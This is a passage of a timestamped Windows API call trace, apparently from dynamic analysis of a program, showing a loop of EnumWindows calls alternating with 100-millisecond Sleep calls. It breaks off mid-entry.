EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.452] Sleep (dwMilliseconds=0x64) [0128.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.453] Sleep (dwMilliseconds=0x64) [0128.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.455] Sleep (dwMilliseconds=0x64) [0128.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.456] Sleep (dwMilliseconds=0x64) [0128.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.458] Sleep (dwMilliseconds=0x64) [0128.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.459] Sleep (dwMilliseconds=0x64) [0128.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.461] Sleep (dwMilliseconds=0x64) [0128.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.463] Sleep (dwMilliseconds=0x64) [0128.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.464] Sleep (dwMilliseconds=0x64) [0128.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.466] Sleep (dwMilliseconds=0x64) [0128.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.468] Sleep (dwMilliseconds=0x64) [0128.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.469] Sleep (dwMilliseconds=0x64) [0128.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.470] Sleep (dwMilliseconds=0x64) [0128.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.472] Sleep (dwMilliseconds=0x64) [0128.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.474] Sleep (dwMilliseconds=0x64) [0128.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.475] Sleep (dwMilliseconds=0x64) [0128.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.476] Sleep (dwMilliseconds=0x64) [0128.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.478] Sleep (dwMilliseconds=0x64) [0128.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.480] Sleep (dwMilliseconds=0x64) [0128.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.482] Sleep (dwMilliseconds=0x64) [0128.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.483] Sleep (dwMilliseconds=0x64) [0128.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.484] Sleep (dwMilliseconds=0x64) [0128.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.486] Sleep (dwMilliseconds=0x64) [0128.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.488] Sleep (dwMilliseconds=0x64) [0128.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.490] Sleep (dwMilliseconds=0x64) [0128.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.491] Sleep (dwMilliseconds=0x64) [0128.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.493] Sleep (dwMilliseconds=0x64) [0128.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.495] Sleep (dwMilliseconds=0x64) [0128.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.496] Sleep (dwMilliseconds=0x64) [0128.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.498] Sleep (dwMilliseconds=0x64) [0128.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.499] Sleep (dwMilliseconds=0x64) [0128.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.501] Sleep (dwMilliseconds=0x64) [0128.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.504] Sleep (dwMilliseconds=0x64) [0128.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.506] Sleep (dwMilliseconds=0x64) [0128.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.508] Sleep (dwMilliseconds=0x64) [0128.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.509] Sleep (dwMilliseconds=0x64) [0128.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.512] Sleep (dwMilliseconds=0x64) [0128.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.513] Sleep (dwMilliseconds=0x64) [0128.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.515] Sleep (dwMilliseconds=0x64) [0128.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.517] Sleep (dwMilliseconds=0x64) [0128.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.520] Sleep (dwMilliseconds=0x64) [0128.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.522] Sleep (dwMilliseconds=0x64) [0128.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.524] Sleep (dwMilliseconds=0x64) [0128.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.525] Sleep (dwMilliseconds=0x64) [0128.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.527] Sleep (dwMilliseconds=0x64) [0128.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.528] Sleep (dwMilliseconds=0x64) [0128.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.530] Sleep (dwMilliseconds=0x64) [0128.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.680] Sleep (dwMilliseconds=0x64) [0128.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0128.682] Sleep (dwMilliseconds=0x64) [0129.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.196] Sleep (dwMilliseconds=0x64) [0129.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.197] Sleep (dwMilliseconds=0x64) [0129.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.199] Sleep (dwMilliseconds=0x64) [0129.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.200] Sleep (dwMilliseconds=0x64) [0129.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.202] Sleep (dwMilliseconds=0x64) [0129.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.204] Sleep (dwMilliseconds=0x64) [0129.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.206] Sleep (dwMilliseconds=0x64) [0129.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.207] Sleep (dwMilliseconds=0x64) [0129.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.209] Sleep (dwMilliseconds=0x64) [0129.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.211] Sleep (dwMilliseconds=0x64) [0129.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.213] Sleep (dwMilliseconds=0x64) [0129.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.215] Sleep (dwMilliseconds=0x64) [0129.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.217] Sleep (dwMilliseconds=0x64) [0129.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.218] Sleep (dwMilliseconds=0x64) [0129.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.222] Sleep (dwMilliseconds=0x64) [0129.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.224] Sleep (dwMilliseconds=0x64) [0129.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.225] Sleep (dwMilliseconds=0x64) [0129.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.227] Sleep (dwMilliseconds=0x64) [0129.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.229] Sleep (dwMilliseconds=0x64) [0129.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.230] Sleep (dwMilliseconds=0x64) [0129.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.232] Sleep (dwMilliseconds=0x64) [0129.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.234] Sleep (dwMilliseconds=0x64) [0129.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.235] Sleep (dwMilliseconds=0x64) [0129.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.237] Sleep (dwMilliseconds=0x64) [0129.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.239] Sleep (dwMilliseconds=0x64) [0129.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.241] Sleep (dwMilliseconds=0x64) [0129.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.242] Sleep (dwMilliseconds=0x64) [0129.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.244] Sleep (dwMilliseconds=0x64) [0129.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.246] Sleep (dwMilliseconds=0x64) [0129.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.247] Sleep (dwMilliseconds=0x64) [0129.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.249] Sleep (dwMilliseconds=0x64) [0129.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.251] Sleep (dwMilliseconds=0x64) [0129.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.252] Sleep (dwMilliseconds=0x64) [0129.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.254] Sleep (dwMilliseconds=0x64) [0129.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.256] Sleep (dwMilliseconds=0x64) [0129.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.258] Sleep (dwMilliseconds=0x64) [0129.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.260] Sleep (dwMilliseconds=0x64) [0129.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.263] Sleep (dwMilliseconds=0x64) [0129.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.265] Sleep (dwMilliseconds=0x64) [0129.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.266] Sleep (dwMilliseconds=0x64) [0129.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.269] Sleep (dwMilliseconds=0x64) [0129.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.270] Sleep (dwMilliseconds=0x64) [0129.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.272] Sleep (dwMilliseconds=0x64) [0129.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.274] Sleep (dwMilliseconds=0x64) [0129.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.276] Sleep (dwMilliseconds=0x64) [0129.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.278] Sleep (dwMilliseconds=0x64) [0129.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.280] Sleep (dwMilliseconds=0x64) [0129.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.282] Sleep (dwMilliseconds=0x64) [0129.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.283] Sleep (dwMilliseconds=0x64) [0129.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.285] Sleep (dwMilliseconds=0x64) [0129.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.287] Sleep (dwMilliseconds=0x64) [0129.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.288] Sleep (dwMilliseconds=0x64) [0129.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.290] Sleep (dwMilliseconds=0x64) [0129.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.292] Sleep (dwMilliseconds=0x64) [0129.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.294] Sleep (dwMilliseconds=0x64) [0129.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.296] Sleep (dwMilliseconds=0x64) [0129.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.297] Sleep (dwMilliseconds=0x64) [0129.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.299] Sleep (dwMilliseconds=0x64) [0129.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.300] Sleep (dwMilliseconds=0x64) [0129.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.302] Sleep (dwMilliseconds=0x64) [0129.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.304] Sleep (dwMilliseconds=0x64) [0129.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.306] Sleep (dwMilliseconds=0x64) [0129.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.307] Sleep (dwMilliseconds=0x64) [0129.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.309] Sleep (dwMilliseconds=0x64) [0129.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.310] Sleep (dwMilliseconds=0x64) [0129.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.322] Sleep (dwMilliseconds=0x64) [0129.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.323] Sleep (dwMilliseconds=0x64) [0129.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.325] Sleep (dwMilliseconds=0x64) [0129.326] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.327] Sleep (dwMilliseconds=0x64) [0129.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.329] Sleep (dwMilliseconds=0x64) [0129.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.330] Sleep (dwMilliseconds=0x64) [0129.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.332] Sleep (dwMilliseconds=0x64) [0129.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.333] Sleep (dwMilliseconds=0x64) [0129.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.335] Sleep (dwMilliseconds=0x64) [0129.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.336] Sleep (dwMilliseconds=0x64) [0129.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.338] Sleep (dwMilliseconds=0x64) [0129.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.339] Sleep (dwMilliseconds=0x64) [0129.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.341] Sleep (dwMilliseconds=0x64) [0129.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.342] Sleep (dwMilliseconds=0x64) [0129.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.344] Sleep (dwMilliseconds=0x64) [0129.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.367] Sleep (dwMilliseconds=0x64) [0129.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.450] Sleep (dwMilliseconds=0x64) [0129.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.456] Sleep (dwMilliseconds=0x64) [0129.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.458] Sleep (dwMilliseconds=0x64) [0129.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.460] Sleep (dwMilliseconds=0x64) [0129.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.462] Sleep (dwMilliseconds=0x64) [0129.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.464] Sleep (dwMilliseconds=0x64) [0129.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.466] Sleep (dwMilliseconds=0x64) [0129.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.468] Sleep (dwMilliseconds=0x64) [0129.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.470] Sleep (dwMilliseconds=0x64) [0129.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.472] Sleep (dwMilliseconds=0x64) [0129.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.474] Sleep (dwMilliseconds=0x64) [0129.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.476] Sleep (dwMilliseconds=0x64) [0129.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.478] Sleep (dwMilliseconds=0x64) [0129.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.480] Sleep (dwMilliseconds=0x64) [0129.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.482] Sleep (dwMilliseconds=0x64) [0129.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.484] Sleep (dwMilliseconds=0x64) [0129.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.486] Sleep (dwMilliseconds=0x64) [0129.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.488] Sleep (dwMilliseconds=0x64) [0129.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.490] Sleep (dwMilliseconds=0x64) [0129.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.491] Sleep (dwMilliseconds=0x64) [0129.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.493] Sleep (dwMilliseconds=0x64) [0129.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.494] Sleep (dwMilliseconds=0x64) [0129.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.496] Sleep (dwMilliseconds=0x64) [0129.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.498] Sleep (dwMilliseconds=0x64) [0129.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.500] Sleep (dwMilliseconds=0x64) [0129.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.501] Sleep (dwMilliseconds=0x64) [0129.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.503] Sleep (dwMilliseconds=0x64) [0129.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.504] Sleep (dwMilliseconds=0x64) [0129.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.506] Sleep (dwMilliseconds=0x64) [0129.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.507] Sleep (dwMilliseconds=0x64) [0129.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.509] Sleep (dwMilliseconds=0x64) [0129.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.510] Sleep (dwMilliseconds=0x64) [0129.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.512] Sleep (dwMilliseconds=0x64) [0129.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.513] Sleep (dwMilliseconds=0x64) [0129.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.515] Sleep (dwMilliseconds=0x64) [0129.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.516] Sleep (dwMilliseconds=0x64) [0129.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.518] Sleep (dwMilliseconds=0x64) [0129.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.519] Sleep (dwMilliseconds=0x64) [0129.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.521] Sleep (dwMilliseconds=0x64) [0129.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.523] Sleep (dwMilliseconds=0x64) [0129.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.524] Sleep (dwMilliseconds=0x64) [0129.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.526] Sleep (dwMilliseconds=0x64) [0129.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.528] Sleep (dwMilliseconds=0x64) [0129.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.530] Sleep (dwMilliseconds=0x64) [0129.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.531] Sleep (dwMilliseconds=0x64) [0129.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.533] Sleep (dwMilliseconds=0x64) [0129.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.534] Sleep (dwMilliseconds=0x64) [0129.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.536] Sleep (dwMilliseconds=0x64) [0129.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.537] Sleep (dwMilliseconds=0x64) [0129.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.539] Sleep (dwMilliseconds=0x64) [0129.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.540] Sleep (dwMilliseconds=0x64) [0129.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.542] Sleep (dwMilliseconds=0x64) [0129.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.543] Sleep (dwMilliseconds=0x64) [0129.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.545] Sleep (dwMilliseconds=0x64) [0129.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.547] Sleep (dwMilliseconds=0x64) [0129.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.548] Sleep (dwMilliseconds=0x64) [0129.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.550] Sleep (dwMilliseconds=0x64) [0129.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.551] Sleep (dwMilliseconds=0x64) [0129.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.553] Sleep (dwMilliseconds=0x64) [0129.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.555] Sleep (dwMilliseconds=0x64) [0129.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.557] Sleep (dwMilliseconds=0x64) [0129.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.559] Sleep (dwMilliseconds=0x64) [0129.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.561] Sleep (dwMilliseconds=0x64) [0129.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.563] Sleep (dwMilliseconds=0x64) [0129.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.567] Sleep (dwMilliseconds=0x64) [0129.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.569] Sleep (dwMilliseconds=0x64) [0129.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.570] Sleep (dwMilliseconds=0x64) [0129.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.572] Sleep (dwMilliseconds=0x64) [0129.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.573] Sleep (dwMilliseconds=0x64) [0129.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.575] Sleep (dwMilliseconds=0x64) [0129.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.612] Sleep (dwMilliseconds=0x64) [0129.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.614] Sleep (dwMilliseconds=0x64) [0129.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.615] Sleep (dwMilliseconds=0x64) [0129.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.617] Sleep (dwMilliseconds=0x64) [0129.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.618] Sleep (dwMilliseconds=0x64) [0129.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.620] Sleep (dwMilliseconds=0x64) [0129.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.622] Sleep (dwMilliseconds=0x64) [0129.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.623] Sleep (dwMilliseconds=0x64) [0129.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.625] Sleep (dwMilliseconds=0x64) [0129.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.626] Sleep (dwMilliseconds=0x64) [0129.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.628] Sleep (dwMilliseconds=0x64) [0129.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.629] Sleep (dwMilliseconds=0x64) [0129.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.631] Sleep (dwMilliseconds=0x64) [0129.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.632] Sleep (dwMilliseconds=0x64) [0129.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.634] Sleep (dwMilliseconds=0x64) [0129.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.636] Sleep (dwMilliseconds=0x64) [0129.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.638] Sleep (dwMilliseconds=0x64) [0129.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.639] Sleep (dwMilliseconds=0x64) [0129.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.641] Sleep (dwMilliseconds=0x64) [0129.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.642] Sleep (dwMilliseconds=0x64) [0129.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.644] Sleep (dwMilliseconds=0x64) [0129.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.645] Sleep (dwMilliseconds=0x64) [0129.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.647] Sleep (dwMilliseconds=0x64) [0129.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.648] Sleep (dwMilliseconds=0x64) [0129.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.650] Sleep (dwMilliseconds=0x64) [0129.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.651] Sleep (dwMilliseconds=0x64) [0129.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.654] Sleep (dwMilliseconds=0x64) [0129.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.655] Sleep (dwMilliseconds=0x64) [0129.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.657] Sleep (dwMilliseconds=0x64) [0129.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.658] Sleep (dwMilliseconds=0x64) [0129.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.660] Sleep (dwMilliseconds=0x64) [0129.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.661] Sleep (dwMilliseconds=0x64) [0129.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.663] Sleep (dwMilliseconds=0x64) [0129.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.664] Sleep (dwMilliseconds=0x64) [0129.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.666] Sleep (dwMilliseconds=0x64) [0129.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.667] Sleep (dwMilliseconds=0x64) [0129.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0129.669] Sleep (dwMilliseconds=0x64) [0129.829] EnumWindows (lpEnumFunc=0x403dd0, 